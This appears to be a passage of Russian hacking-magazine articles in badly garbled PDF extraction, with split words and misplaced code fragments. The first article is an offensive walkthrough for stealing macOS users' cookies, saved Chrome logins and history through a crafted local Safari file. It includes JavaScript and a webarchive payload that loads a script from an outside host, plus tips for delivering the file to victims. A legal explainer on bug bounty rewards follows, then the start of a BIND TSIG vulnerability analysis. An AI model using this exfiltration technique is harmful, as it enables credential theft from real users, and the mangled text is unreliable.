И    —  исто рия  вве ден ных  в  тер минал  команд  еще  никому
не помеша ла!

.bash_history

СОБИРАЕМ КУКИ И НЕ ТОЛЬКО
Зай мем ся  сбо ром  печенек.  Во‐пер вых,  macOS  име ет  пред ска зуемые  пути
хра нения дан ных об акка унтах в дирек тории.
• ~/Library/Cookies/Cookies.binarycookies

• ~/Library/Cookies/com.apple.Safari.cookies

Там же будут лежать cookie от Twitter, Skype и про чих при ложе ний.
Зах ватим  и  дан ные  о HSTS —  там  най дут ся  посещен ные  сай ты,  которые

вер нули заголо вок HSTS. Лиш ним не будет!

~/Library/Cookies/HSTS.plist

Ин форма цию об акка унтах в сис теме тоже заберем с собой.

~/Library/Accounts/Accounts4.sqlite

Ну и  не Safari  еди ным,  обыч но раз личные фай лы и  кон фиги  уста нов ленно го
соф та лежат в пути

~/Library/Application Support/

Мы заберем толь ко фай лики Chrome:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

А ты пошарь ся, вдруг где хра нят ся инте рес ные фай лы каких‐нибудь FTP/SQL‐
кли ентов или исто рия сооб щений мес сен дже ров. :)

ПОЛУЧЕНИЕ ПОЛНЫХ ПУТЕЙ К ФАЙЛАМ ПОЛЬЗОВАТЕЛЯ
Что заб рать с собой, мы уже выяс нили. Теперь поп робу ем соб рать эти фай лы
с помощью Safari.

В  Chrome,  к  при меру,  с  ходу  читать  локаль ные  фай лы  с  помощью  Java‐
Script не вый дет. Что бы это сра бота ло, Chrome нуж но пред варитель но запус‐ 
тить  со  спе циаль ным  аргу мен том  ( ).  Safari  тоже
пре дуп режда ет, что работать с   он не уме ет.

‐‐disable‐web‐security
file://

Прос то так читать file:// в Safari нель зя

Од нако если HTML не был ска чан из интерне та, Safari более лоялен к такому
виду зап росов — отпра вив с помощью XHR зап рос к локаль ному фай лу, мы
получим его содер жимое:

...но если файл локаль ный — то мож но!

Бла года ря этой осо бен ности, зная пол ный путь к фай лу, мы можем заг рузить
его содер жимое и отпра вить на уда лен ный сер вер!

Но вот незада ча — как получить пол ный путь, если мы не зна ем имя поль‐ 
зовате ля? А ведь в   вооб ще нет логинов поль зовате лей (я про‐ 
верял, да)!

/etc/passwd

Что бы  узнать  имя  поль зовате ля,  мы  про веря ем  два  log‐фай ла,  которые
появ ляют ся,  едва  ты  уста новишь  и  нас тро ишь  ОС  (отдель ное  спа сибо

).  Это  фай лы    и  .
Не  будет  в  одном —  ско рее  все го,  будет  в  дру гом.  Заг ружа ем  эти  фай лы
в бра узер и с помощью регуляр ного выраже ния получа ем имя поль зовате ля.

@f1nnix /var/log/system.log /var/log/install.log

Вот JS‐фун кция для извле чения име ни поль зовате ля из фай лов логов:

function getUser() {
   var xhr = new XMLHttpRequest();
   try {
       xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/
', false);
       xhr.send();
       return xhr.responseText.match(//Users/w+//g)[0];
   } catch (e) {
       xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.
com/', false);
       xhr.send();
       return xhr.responseText.match(//Users/w+//g)[0];
   }
}

ОТПРАВЛЯЕМ ФАЙЛЫ НА СЕРВЕР
А  теперь  соеди няем  пер вую  часть  статьи  и  воз можность  читать  фай лы.
Для PoC дела ем сер верную часть, при нима ем от поль зовате ля путь и содер‐ 
жимое. Если это  , отда ем еще пути на пар синг..DS_Store

INFO

Мож но  поп робовать  сде лать  чер ные  и  белые
спис ки, нап ример что бы не качать тяжелые филь‐ 
мы или, наобо рот, качать толь ко фай лы .docx. :)

Но  что  делать,  если  в  сис теме  уста нов лены  дру гие  бра узе ры?  HTML  будет
открыт с помощью Chrome или FF, и ничего не про изой дет.

К  счастью,  есть  пара  рас ширений,  которые  откры вают ся  толь ко  Safari.
Это  XHTM  и  webarchive.  Если  с  XHTM  все  понят но  —  это  веб‐стра ница
на осно ве XML (а в нем мож но выпол нять JS), то с webarchive нем ного слож‐ 
нее. Он име ет два фор мата, один из которых мож но лег ко скраф тить вруч ную:

<?xml version="1.0" encoding="UTF‐8"?>
<!DOCTYPE plist PUBLIC "‐//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList‐1.0.dtd">
<plist version="1.0">
<dict>
   <key>WebMainResource</key>
   <dict>
       <key>WebResourceData</key>
       <data>
           PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjP
SdodHRwczo
           vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2
NyaXB0Pj
           wvYm9keT48L2h0bWw+
       </data>
       <key>WebResourceFrameName</key>
       <string></string>
       <key>WebResourceMIMEType</key>
       <string>text/html</string>
       <key>WebResourceTextEncodingName</key>
       <string>UTF‐8</string>
       <key>WebResourceURL</key>
       <string>file:///</string>
   </dict>
</dict>
</plist>

где   — это стра ница в Base 64, в каж дой стро ке которой 59 сим волов.data

Воз можнос ти обхо да огра ниче ний фла га Where from
По умол чанию для фай лов, передан ных по Сети, есть огра ниче ние на выпол‐ 
нение такого кода.

Сра баты вает защита

Это зна чит, что, если прос то пос лать файл по поч те, он может не сра ботать.
Хо рошая  новость  зак люча ется  в  том,  что  не  все  прог раммы  выс тавля ют

флаг  при  ска чива нии  фай ла.  К  при меру,  вер сия  Telegram  для macOS  это го
не  дела ет.  В  ряде  тес тов  нам  уда лось  про честь  фай лы  поль зовате ля  «вре‐ 
донос ным»  фай лом  ,  передан ным  через  дес ктоп ную  вер сию  Telegram
для macOS, при чем без архи виро вания и защиты паролем.

XHTM

PoC, передан ный через Telegram Desktop, сра ботал!

На вер няка ты смо жешь най ти и дру гие при меры. И конеч но же, готовый файл
мож но  под сунуть  жер тве  на  физичес ком  носите ле  во  вре мя  про веде ния
соци отех ничес кого тес тирова ния.

Го товый  сер вер,  а  так же  два  вида  HTML‐фай ла  с  полез ной  наг рузкой  най‐ 
дешь в  .мо ем репози тории

ЗАЩИТА
На дан ный момент защиты от этой ата ки нет. Могу посове товать лишь смот‐ 
реть,  что  откры ваешь,  ска чав  из  интерне та,  и  по  воз можнос ти  не  исполь‐ 
зовать бра узер Safari. Apple, оче вид но, не счи тает эту проб лему уяз вимостью,
и  на  дан ный момент  о  пат че  ничего  не  слыш но.  Так  что  исполь зуй  эту  силу
с умом, Люк!

mailto:i@bo0om.ru
https://twitter.com/ilyaRusanen
https://github.com/Bo0oM/Safiler
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ЧТО НУЖНО ЗНАТЬ ХАКЕРУ ДЛЯ
УЧАСТИЯ В BUG BOUNTY
С ОБЕЩАНИЕМ НАГРАДЫ

Денис Доротенко
Юрист Яндекса

ВЗЛОМ

Что  такое  обе щание  наг рады  в  юри дичес ком  смыс ле?
Почему оно име нует ся имен но как пуб личное? Какие момен‐ 
ты  нуж но иметь  в  виду,  если пра вила Bug Bounty  изло жены
как пуб личное обе щание наг рады? Давай раз бирать ся.

ЧТО ТАКОЕ ПУБЛИЧНОЕ ОБЕЩАНИЕ НАГРАДЫ?
Оче вид но,  что  обе щание  наг рады  —  это  при нятие  на  себя  обя зан ности
отдать какую‐либо вещь или вып латить денеж ные средс тва тому,  кто совер‐ 
шит опре делен ные дей ствия. Пред ставь себе Дикий Запад и пла каты «Wanted
(dead  or  alive)»  —  это  типич ный  при мер  пуб лично го  обе щания  наг рады.
В  юри дичес ком  смыс ле  это  односто рон няя  сдел ка.  В  рос сий ском  законо‐ 
датель стве она опре деля ется в статье 1055 Граж дан ско го кодек са РФ:

1. Ли цо,  объ явив шее  пуб лично  о  вып лате  денеж ного  воз награж дения
или выдаче иной наг рады (о вып лате наг рады) тому, кто совер шит ука зан‐ 
ное в объ явле нии пра вомер ное дей ствие в ука зан ный в нем срок, обя зано
вып латить  обе щан ную  наг раду  любому,  кто  совер шил  соот ветс тву ющее
дей ствие,  в  час тнос ти отыс кал  утра чен ную вещь или сооб щил лицу, объ‐ 
явив шему о наг раде, необ ходимые све дения.

Здесь важ ны сле дующие момен ты.

1. Объ явле ние о наг раде дол жно быть пуб личным
Ли цо, жела ющее вып латить воз награж дение, дол жно имен но откры тым обра‐ 
зом  сооб щить  о  сво ем  желании  —  нап ример,  через  средс тва  мас совой
информа ции, раз дел сво его сай та или блог, куда дос туп для чте ния сво бод‐ 
ный, с помощью рек ламы. Если пред ложение дела ется адресно нес коль ким
учас тни кам (нап ример, рас сыла ется по email), то такое сооб щение о наг раде
вряд ли мож но будет приз нать пуб личным.

2. Круг лиц, которые могут получить наг раду, не дол жен быть
огра ничен
Лю бое  лицо  незави симо  от  граж данс тва,  мес та  работы,  мес та  нахож дения
дол жно  иметь  воз можность  совер шить  дей ствия  для  выпол нения  задания,
что бы пре тен довать на получе ние наг рады. Этот момент — один из клю чевых,
который поз воля ет иден тифици ровать те или иные пра вила Bug Bounty имен‐ 
но как пуб личное обе щание наг рады.

Для  при мера  можешь  пос мотреть  пра вила  Bug  Bounty  ком пании  .
Да, прог рамма позици они рует ся  как  кон курс  (и это дей стви тель но  кон курс),
но  если  бы  вмес то  усло вия  «Учас тво вать  могут  физ лица,  явля ющиеся
резиден тами РФ» было написа но, что учас тво вать могут все жела ющие (или
иным  обра зом  при веде на  фор мулиров ка,  которая  бы  не  огра ничи вала  круг
воз можных  учас тни ков),  то  впол не  мож но  было  бы  говорить  о  том,  что
перед нами пуб личное обе щание наг рады, а не пра вила кон курса.

PayQR

3. Задание для получе ния наг рады дол жно быть пра вомер ным
Это законо датель ное тре бова ние к лицу, обе щающе му наг раду. Мож но обе‐ 
щать  наг раду  толь ко  за  совер шение  пра вомер ных  дей ствий.  Нель зя  пред‐ 
лагать наг раду за совер шение неп равомер ных (и тем более прес тупных) дей‐ 
ствий.

Пред ставь, что какое‐то лицо пуб лично обе щает наг раду за тес тирова ние
на  уяз вимос ти  сети  лечеб ного  учрежде ния,  а  в  качес тве  под твержде ния
успешно го  выпол нения  тес тирова ния  про сит  учас тни ков  пре дос тавить  ему
фай лы с дан ными паци ентов. В этом слу чае потен циаль ным охот никам за наг‐ 
радой  сто ит  быть  край не  осто рож ными.  Во‐пер вых,  это  пер сональ ные  дан‐ 
ные,  исполь зование,  обра бот ка  и  хра нение  которых  чет ко  уре гули рова но
законом, а его наруше ние может пов лечь за собой ответс твен ность за неп‐ 
равомер ную  работу  с  такими  дан ными.  Во‐вто рых,  эти  дан ные  могут  быть
вра чеб ной  тай ной,  и  за  ее  неп равомер ное  раз гла шение  пре дус мотре на
не толь ко адми нис тра тив ная ответс твен ность, но и уго лов ная.

Так  что  если  тебе  вдруг  попадет ся  подоб ная Bug Bounty,  сто ит  получить
от  того,  кто  обе щает  наг раду,  деталь ную  информа цию,  дей стви тель но  ли
у него есть нуж ные догово рен ности с  лечеб ным  учрежде нием,  а  затем  убе‐ 
дить ся  и  в  том,  что  руководс тво  заведе ния  в  кур се  про исхо дяще го  и  сог‐ 
ласова ло тес тирова ние.

4. Срок выпол нения может быть не ого ворен
Фор маль но  срок  выпол нения —  это  пери од,  в  течение  которо го  жела ющие
получить  наг раду  дол жны  выпол нить  дей ствия,  за  которые  объ явле на  наг‐ 
рада. Если срок не ука зан, то под разуме вает ся, что пред ложение о наг раде
дей ству ет  бес сроч но,  пока  лицо,  объ явив шее  о  наг раде,  так  же  пуб лично
не  заявит  о  прек ращении  сро ка  дей ствия  сво его  обе щания.  Дру гими  сло‐ 
вами,  если  срок  отсутс тву ет,  это  сов сем  не  озна чает,  что  все  пред ложение
о наг раде недей стви тель но.

МОГУТ ЛИ ПОЛУЧИТЬ НАГРАДУ НЕСКОЛЬКО ЧЕЛОВЕК?
От вет на этот воп рос сто ит искать в той же статье 1055 Граж дан ско го кодек са
РФ:

В  слу чаях,  ког да  дей ствие,  ука зан ное  в  объ явле нии,  совер шили  нес коль ко
лиц, пра во на получе ние наг рады при обре тает то из них, которое совер шило
соот ветс тву ющее дей ствие пер вым.

Ес ли  дей ствие,  ука зан ное  в  объ явле нии,  совер шено  дву мя  или  более
лицами  и  невоз можно  опре делить,  кто  из  них  совер шил  соот ветс тву ющее
дей ствие  пер вым,  а  так же  в  слу чае,  если  дей ствие  совер шено  дву мя
или более лицами одновре мен но, наг рада меж ду ними делит ся поров ну или в
ином пре дус мотрен ном сог лашени ем меж ду ними раз мере.

Та ким обра зом, пуб лично обе щан ная наг рада по обще му пра вилу пред назна‐ 
чена  одно му  лицу.  Но  если  сра зу  нес коль ко  человек  выпол нили  задание
и рас счи тыва ют на наг раду, то лицо, которое объ явля ет о пуб личной наг раде
(будем  называть  его  «орга низа тор»),  дол жно  опре делить,  кто  тот  пер вый
счас тли вец, кому она полага ется.

В при веден ной выше нор ме закона речь идет о том, что при ори тет за тем
учас тни ком, который пер вым имен но совер шит дей ствия, а не уве домит орга‐ 
низа тора о выпол нении. Но на прак тике могут воз никнуть труд ности с доказа‐ 
тель ства ми,  под твержда ющи ми  пер венс тво.  В  таком  слу чае  орга низа тор
отдаст пред почте ние тому, кто пер вым уве домил его о выпол нении дей ствий.
Так что в погоне за наг радой не забывай над лежащим обра зом фик сировать
дату выпол нения задания и ни в коем слу чае не откла дывай отправ ку отче та
об успешном выпол нении задания.

Ес ли  ока жет ся,  что  невоз можно  уста новить,  кто  из  лиц,  выпол нивших
необ ходимые дей ствия, был пер вым, то наг рада будет поделе на меж ду ними
поров ну  (если они не зак лючат меж ду собой сог лашение, где будет пре дус‐ 
мотре но иное).

Ес ли  тебе  встре тит ся  обе щание  наг рады,  которое  под разуме вает  неод‐ 
нократ ную  вып лату  воз награж дения  за  най ден ные  баги,  то  такое  обе щание
не  будет  про тиво речить  нор мам  закона.  По  обще му  пра вилу  они  пре дус‐ 
матри вают лишь одно го получа теля наг рады, но в таком слу чае прос то будет
счи тать ся,  что  с  момен та  опре деле ния  лица,  получа юще го  наг раду,  пуб‐ 
личное  обе щание  наг рады  прек раща ет  свою  силу  и  тут  же  авто мати чес ки
сно ва всту пает в силу в той же редак ции.

Возь мем  для  при мера  прог рамму  Bug  Bounty  ком пании    и  пос‐ 
мотрим, как бы она работа ла по рос сий ско му законо датель ству.

Espressif

Espressif  is  pleased  to  update  Bug  Bounty  Program  with  immediate  effect
on  Feb.28th,  2016. We  have  increased  the minimum  amount  to  pay  out  to  2000
USD for any developer reporting a previously unknown bug in our  latest ESP 8266
Non‐OS  or  RTOS  SDK.  The  award  is  sometimes  increased,  depending  on  the
severity and scope of the bug, especially security bugs.

Ее  как раз мож но рас ценивать  как для щееся пуб личное обе щание наг рады,
которое  не  под разуме вает  еди нов ремен ную  вып лату  и  которое  про дол жит
дей ство вать  сра зу  пос ле  вып латы  наг рады  за  каж дый  най ден ный  баг.  Пос‐ 
коль ку такие вып латы дела ют толь ко за уни каль ные (ранее не най ден ные) уяз‐ 
вимос ти, про тиво речия положе ниям закона не воз никнет.

НАГРАДА МОЖЕТ БЫТЬ ТОЛЬКО ДЕНЕЖНОЙ ИЛИ НЕ ТОЛЬКО?
Не  толь ко.  Смот ри  выше  опре деле ние  пуб лично го  обе щания  наг рады.  Там
в законе явным обра зом про писа но, что речь идет о вып лате денеж ного воз‐ 
награж дения или иной наг рады. В качес тве «иной наг рады» может быть опре‐ 
деле но  мно го  что,  даже  прос то  раз мещение  на  сай те  име ни  и  фамилии
или ник ней ма баг ханте ра.

Дос таточ ный  ли  это  сти мул  для  учас тия — решать  тебе.  Быва ет  и  такое,
что наг рады не сто ят про делан ной работы. Вспом нить хотя бы слу чай, ког да
фир ма General Motors в качес тве наг рады   не предъ являть к баг‐ 
ханте ру судеб ных исков.

по обе щала

МОЖЕТ ЛИ НАГРАДА НЕ БЫТЬ ОДНОЗНАЧНО ОПРЕДЕЛЕНА?
Да, может быть и такое. Статья 1055 Граж дан ско го кодек са РФ содер жит нуж‐ 
ный ответ:

Ес ли в пуб личном обе щании наг рады не ука зан ее раз мер, он опре деля ется
по сог лашению с лицом, обе щав шим наг раду, а в слу чае спо ра судом.

Но,  сог ласись,  если  лицо  пуб лично  при зыва ет  искать  уяз вимос ти  и  не  обе‐ 
щает воз награж дения, это отпугнет баг ханте ров. Ува жающие себя ком пании,
которые  (в  отли чие  от  GM)  жела ют  прив лечь  к  поис кам  как  мож но  боль ше
про фес сиона лов,  сра зу  опре деля ют  воз награж дение,  обоз нача ют  его  раз‐ 
мер и пуб лично информи руют об этом.

Рас смот рим нес коль ко при меров.

Nintendo
Nintendo will pay rewards to the first reporter of qualifying vulnerability  information
ranging  from  $100  USD  to  $20,000  USD.  Only  one  reward  per  qualifying  piece
of vulnerability information will be awarded. Nintendo will determine at its discretion
whether  the  vulnerability  information  qualifies  for  a  reward  as well  as  the  amount
of  any  such  reward.  Nintendo  does  not  disclose  how  the  reward  amount
is calculated.

— ис точник

Qualcomm
Security Rating: Critical•
Software Category: Cellular modem — Reward: $15.000•
Software Category: TEE — Reward: $9.000•
Software Category: Bootloader — Reward: $9.000•
Software Category: Application processor software and all other qualified com‐
ponents — Reward: $8.000

•

Security Rating: High•
Software Category: Cellular modem — Reward: $5.000•
Software Category: TEE — Reward: $5.000•
Software Category: Bootloader — Reward: $5.000•
Software Category: Application processor software and all other qualified com‐
ponents — Reward: $4.000

•

Security Rating: Medium•
Software Category: All qualifying components — Reward: $2.000•
Security Rating: Low•
Software Category: All qualifying components — Reward: $200–$1.000•

— ис точник

Qiwi
«Мы  вып лачива ем  наг раду  в  том  слу чае,  если  вы  пер вый,  кто  сооб щил  нам
о  дан ной  уяз вимос ти. Минималь ная  наг рада  за  най ден ную  уяз вимость  сос‐ 
тавля ет  100$,  мак сималь ный  раз мер  наг рады  зависит  от  кри тич ности  уяз‐ 
вимос ти».
— ис точник

Anistar.me
Здесь воз награж дение зависит от того, нас коль ко серь езную уяз вимость уда‐ 
лось най ти:

лег кая  —  «воз можность  совер шать  что‐то  от  дру гого  поль зовате ля,
при  этом  уяз вимость  не  зат рагива ет  адми нов  или  адми нис тра тив ную
панель». Воз награж дение — от 100 до 1000 руб лей;

•

сред няя —  «поз воля ет  исполь зовать  пол ностью  панель  адми нис тра тора
или  получить  воз можность  дос тупа  к  базе  дан ных».  Воз награж дение  —
от 1000 до 2500 руб лей;

•

вы сокая  —  «ском про мети ровать  пол ностью  сер вер  или  сер вера  сети
anistar.ru». Воз награж дение — от 2500 руб лей.

•

— ис точник

МОЖНО ЛИ ПРИВЛЕКАТЬ ДРУГИХ ДЛЯ ВЫПОЛНЕНИЯ
НАГРАДНОГО ЗАДАНИЯ?
В целом — да. Закон в этом пла не никак не огра ничи вает  учас тни ков. Цель
пуб лично го обе щания наг рады — совер шение опре делен ного дей ствия (или
их пос ледова тель нос ти), суть которо го изло жена в объ явле нии наг рады. Если
ниг де не  ска зано,  что делать  это  нуж но еди нолич но,  то  учас тник может  сам
решать, хочет он прив лекать кого‐то себе в помощь или нет. Если тебе нуж на
коман да  или  кон суль тан ты  для  решения  раз носто рон них  заданий,  то  ник то
тебе  не  зап реща ет  ими обза вес тись. Одна ко  тут  появ ляют ся  тон кости,  свя‐ 
зан ные с отно шени ями меж ду тобой и тво ими помощ никами.

НАДО ЛИ ИНФОРМИРОВАТЬ ПОМОЩНИКОВ О НАГРАДЕ?
Не обя затель но, но желатель но. Если ты нашел информа цию о пуб личной наг‐ 
раде  и  хочешь  прив лечь  кого‐то  к  выпол нению  задания,  то  луч ше  все го
не  толь ко сооб щить сво ему  кол леге о наг раде,  но и  заранее в пись мен ном
виде опре делить с ним долю наг рады или иное воз награж дение, которое он
получит.  Сущес тву ет  риск,  что  твой  исполни тель  захочет  самос тоятель но
отпра вить  финаль ные  резуль таты  и  получить  наг раду  целиком.  Скры вать
от  него  сущес тво вание  наг рады  в  этом  слу чае  может  быть  не  луч шей  так‐ 
тикой.

Ес ли  ты  рас счи тыва ешь  на  то,  что бы  такой  под рядчик  не  пре тен довал
на  долю  наг рады  (нап ример,  ког да  ты  прес леду ешь  цель  извлечь  боль шую
при быль  из  получен ной  наг рады  за  минусом  рас ходов  на  прив лечен ных
исполни телей,  которые будут  делать  задание,  нап равлен ное на дос тижение
ее целей),  нич то  не обя зыва ет  тебя о  ней информи ровать. Но имей в  виду:
если ты не сооб щишь о наг раде, а этот твой исполни тель будет в кур се нее,
то  у  тебя  оста ется  риск,  что  в  какой‐то  момент  он  может  прек ратить  сот‐ 
рудни чать с тобой и сам передаст финаль ные резуль таты для получе ния наг‐ 
рады.

КАК СНИЗИТЬ ТАКОЙ РИСК В ОТНОШЕНИИ ПРИВЛЕЧЕННОГО
СПЕЦИАЛИСТА?
Ес ли ты не уве рен, что твои зна комые спе циалис ты смо гут соб люсти догово‐ 
рен ности,  даже  если  они  не  офор мле ны  на  бумаге,  то  для  сни жения  рис ка
луч ше  все го  под писать  сог лашение.  В  нем  сле дует  отра зить  пред мет
деятель нос ти, для которой прив лека ется спе циалист, а так же его обя затель‐ 
ство не раз гла шать кому‐нибудь без тво его сог ласия све дения, став шие ему
извес тны в ходе поис ка багов и уяз вимос тей по тво ему заказу (мож но и пря‐ 
мо  про писать,  что  он  отка зыва ется  учас тво вать  в  кон курсах  и  иных фор мах
поис ка  оши бок,  уяз вимос тей  в  тех  сис темах  и  ПО,  о  работе  над  которы ми
идет речь, и пре тен довать на пуб лично обе щан ные наг рады).

Ес ли будет про писа но такое огра ниче ние, сто ит добавить в него и ответс‐ 
твен ность,  которую  прив лека емый  спе циалист  может  понес ти  за  раз гла‐ 
шение све дений — в том чис ле выражен ную в денеж ном раз мере. Ее раз мер
вы сог ласу ете меж ду собой, но пом ни, что если воз награж дение спе циалис та
в  сум ме  с  раз мером  вып латы  за  несан кци они рован ное  раз гла шение  будут
мень ше  обе щан ной  наг рады,  то  тво ему  под рядчи ку  все  еще  может  быть
выгод нее получить наг раду самос тоятель но и  вер нуть  тебе все,  что он обя‐ 
зал ся вып латить.

УЧАСТВОВАТЬ МОГУТ ТОЛЬКО ФИЗИЧЕСКИЕ ЛИЦА ИЛИ
КОМПАНИИ ТОЖЕ?
По  рос сий ско му  законо датель ству  огра ниче ний  для  учас тия  ком паний  нет.
Но  за  рубежом  законо датель ство  впол не  может  отли чать ся  и  огра ниче ния
не исклю чены. Это может быть ого воре но и в тек сте прог раммы. Нап ример,
у   есть такая строч ка:Qualcomm

Only individuals can qualify. We don’t reward companies, institutions.

МОЖЕТ ЛИ НАГРАДА БЫТЬ ОТМЕНЕНА ПО ВОЛЕ ОРГАНИЗАТОРА?
Да,  может.  Орга низа тор  име ет  пра во  отка зать ся  от  сво его  обе щания  наг‐ 
рады. Это пра во зак репле но в статье 1056 все того же Граж дан ско го кодек са
РФ:

Статья 1056. Отме на пуб лично го обе щания наг рады
1. Ли цо, объ явив шее пуб лично о вып лате наг рады, впра ве в такой же фор ме
отка зать ся от дан ного обе щания, кро ме слу чаев, ког да в самом объ явле‐ 
нии пре дус мотре на или из него вытека ет недопус тимость отка за или дан
опре делен ный  срок  для  совер шения дей ствия,  за  которое обе щана  наг‐ 
рада,  либо  к  момен ту  объ явле ния  об  отка зе  одно  или  нес коль ко  отоз‐ 
вавших ся лиц уже выпол нили ука зан ное в объ явле нии дей ствие.

2. От мена пуб лично го обе щания наг рады не осво бож дает того, кто объ явил
о  наг раде,  от  воз мещения  отоз вавшим ся  лицам  рас ходов,  понесен ных
ими  в  свя зи  с  совер шени ем  ука зан ного  в  объ явле нии  дей ствия,  в  пре‐ 
делах ука зан ной в объ явле нии наг рады.

Здесь  важ но  сле дующее.  Во‐пер вых,  наг рада  дей стви тель но  может  быть
отме нена,  но  лишь  в  опре делен ных  слу чаях.  Она  не  может  быть  отме нена,
если  в  самом  объ явле нии  орга низа тор  сам  для  себя  пре дус мотрел  невоз‐ 
можность отме ны, либо если невоз можность отме ны вытека ет в силу осо бого
харак тера  наг радно го  задания,  либо  если  к  момен ту  отме ны  кто‐то  уже
выпол нил все дей ствия и впра ве рас счи тывать на получе ние наг рады.

Во‐вто рых, если на момент отме ны  кто‐то из стре мив шихся  к получе нию
наг рады понес докумен таль но под твержден ные и обос нован ные рас ходы (то
есть нап равлен ные на выпол нение дей ствий для получе ния наг рады), то орга‐ 
низа тор, отме няющий наг раду, все рав но дол жен ком пенси ровать их. Пре дел
ком пенса ции  опре делен  раз мером  наг рады.  И  вот  по  это му  слу чаю  есть
еще нес коль ко момен тов.

Пер вый: ком пенса ция рас ходов устро ена так же, как в слу чае про веде ния
Bug  Bounty  по  модели  кон курса  (читай  ответ  на  воп рос  «

» в пре дыду щей статье).
Мож но  ли  менять

пра вила кон курса?
Вто рой момент: если пре дел ком пенса ции огра ничен раз мером наг рады,

то что делать, если наг рада не явля ется денеж ной или матери аль ной? Нап‐ 
ример, если наг рада — это прос то обя зан ность орга низа тора пуб лично раз‐ 
местить на сво ем сай те имя победи теля? В этом слу чае воп рос воз мещения
рас ходов  пос ле  отме ны  наг рады  будет,  ско рее  все го,  откры тым.  Если  сто‐ 
роны  сами  не  догово рят ся  о  раз мере  ком пенса ции,  то  это  будет  сде лано
в суде.

Тре тий момент: надо иметь в виду и фор му отме ны наг рады. Закон пря мо
говорит,  что  орга низа тор  дол жен  информи ровать  учас тни ков  о  том,  что  он
отме няет наг раду, так же, как он ее обе щал. Если орга низа тор не смог соб‐ 
люсти тре буемый законом порядок отме ны наг рады, зна чит, он оста вил пер‐ 
воначаль ное пред ложение о ней в силе. Поэто му если вдруг воз никнет ситу‐ 
ация, что орга низа тор сооб щил о наг раде одним спо собом (нап ример, через
кор поратив ный блог ком пании на Habrahabr), а про его отме ну — дру гим спо‐ 
собом (нап ример, у себя на сай те), то учас тву ющий в задании баг хантер смо‐ 
жет  пот ребовать  вып латить  наг раду  в  слу чае  выпол нения  задания  или  воз‐ 
местить рас ходы, если он их понес, выпол няя задание.

На этом про наг раду все. Наде юсь, тебе при годит ся эта информа ция и в
голове  у  тебя  теперь более пол ная  кар тина  того,  как с  точ ки  зре ния закона
устро ены прог раммы Bug Bounty. В сле дующем, зак лючитель ном матери але
по этой теме речь будет идти о Bug Bounty в кон тек сте догово ра меж ду обе‐ 
ими сто рона ми — вла дель цем сер виса и баг ханте ром.

https://rb.ru/news/payqr-hack/
http://bbs.espressif.com/viewtopic.php?f=5&t=288
https://xakep.ru/2016/01/12/gm-bug-bounty/
https://hackerone.com/nintendo
https://hackerone.com/qualcomm
https://hackerone.com/qiwi
https://anistar.me/4291-voznagrozhdenie-za-bezopasnost-sayta-anistarru.html
https://hackerone.com/qualcomm
https://xakep.ru/2017/04/20/bug-bounty-contest-faq/#toc03
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Уяз вимость  в  популяр ном  DNS‐сер вере  BIND  поз воля ет
вно сить  изме нения  в  DNS‐записи  сер веров,  а  так же
получать спи сок всех записей, то есть про водить zone trans‐
fer attack. Уяз вимость име ет ста тус кри тичес кой, так как поз‐ 
воля ет уда лен но нарушить пра виль ную работу DNS‐сер вера
и может при вес ти к утеч ке важ ной информа ции.

Об щая информа ция о BIND
BIND  (Berkeley  Internet  Name  Domain) —  это  опен сор сная  реали зация  про‐ 
токо ла DNS и DNS‐сер вера. Раз работ ку под держи вает орга низа ция  ISC  (

),  цель  которой  —  соз давать  эта лон ные  решения
в области ПО, нуж ного для фун кци они рова ния интерне та. Это один из наибо‐ 
лее рас простра нен ных DNS‐сер веров  в  интерне те:  «Википе дия»  гла сит,  что
«10 из 13 кор невых сер веров DNS работа ют на BIND».

In‐
ternet  Systems  Consortium

В  сос тав  BIND,  помимо  самого  сер вера  DNS,  вхо дят  биб лиоте ка  DNS‐
резол вера и раз ные ути литы для управле ния сер вером. Текущая, девятая вет‐ 
ка дис три бути ва была релиз нута аж в 2000 году. За это вре мя было най дено
огромное количес тво багов, и один из них мы сегод ня раз берем. Ему прис‐ 
воены два бюл летеня с номера ми   и  .CVE‐2017‐3142 CVE‐2017‐3143

Про токол TSIG
TSIG  (Transaction  SIGnature)  —  это  про токол,  который  обес печива ет  иден‐ 
тифика цию и  целос тность  дан ных. Для  это го  в  нем реали зова на  тех нология
под писи тран закций. Для всех зап росов, отве тов и про чих сооб щений к DNS
при  помощи  механиз ма  про вер ки  целос тнос ти  информа ции  (HMAC)  выс‐ 
читыва ется сиг натура на осно ве обще го сек ретно го клю ча (shared key).

При  пра виль но  работа ющем  механиз ме  TSIG  и  сер вер,  и  кли ент  добав‐ 
ляют  TSIG  в  раз дел  допол нитель ных  дан ных  пакета  с  зап росом  к  DNS.  Тем
самым  они  под твержда ют,  что  обла дают  вер ным  сек ретным  клю чом,  что
сооб щение не изме нилось по пути и ему мож но доверять.

Про токол  TSIG  под держи вают  все  популяр ные  сер веры  DNS,  такие
как NSD, PowerDNS, Knot и, разуме ется, BIND.

WARNING

Вся  информа ция  носит  толь ко  озна коми тель ный
харак тер. Ни автор, ни редак ция не несут ответс‐ 
твен ности за ее ненад лежащее исполь зование.

Ин форма ция об уяз вимос ти
В начале июня 2017 года иссле дова тели безопас ности из ком пании 
обна ружи ли  брешь  в  реали зации  про токо ла  TSIG  в  BIND.  Уяз вимость  поз‐ 
воля ет  ата кующе му,  который  зна ет  наз вание  клю ча  TSIG,  обой ти  про вер ку
про токо ла  и  вычис лять  легитим ную  сиг натуру  для  про изволь ных  сооб щений
к DNS‐сер веру.

Synacktiv

Проб лема зак люча ется в том, что, ког да кли ент отправ ляет пакет, который
содер жит TSIG‐дай джест заведо мо невер ной дли ны, в ответ сер вер все рав‐ 
но  вер нет  валид но  под писан ный  пакет,  исполь зуя  передан ный  дай джест
в качес тве пре фик са. Это поз воля ет ата кующе му узнать сиг натуру валид ного
зап роса и тем самым прой ти про вер ки легитим ности.

Са ма  уяз вимость  была  про тес тирова на  в  вер сиях
BIND 9.9.10, 9.10.5 и 9.11.1. Одна ко ISC в бюл летене безопас ности ука зыва‐ 
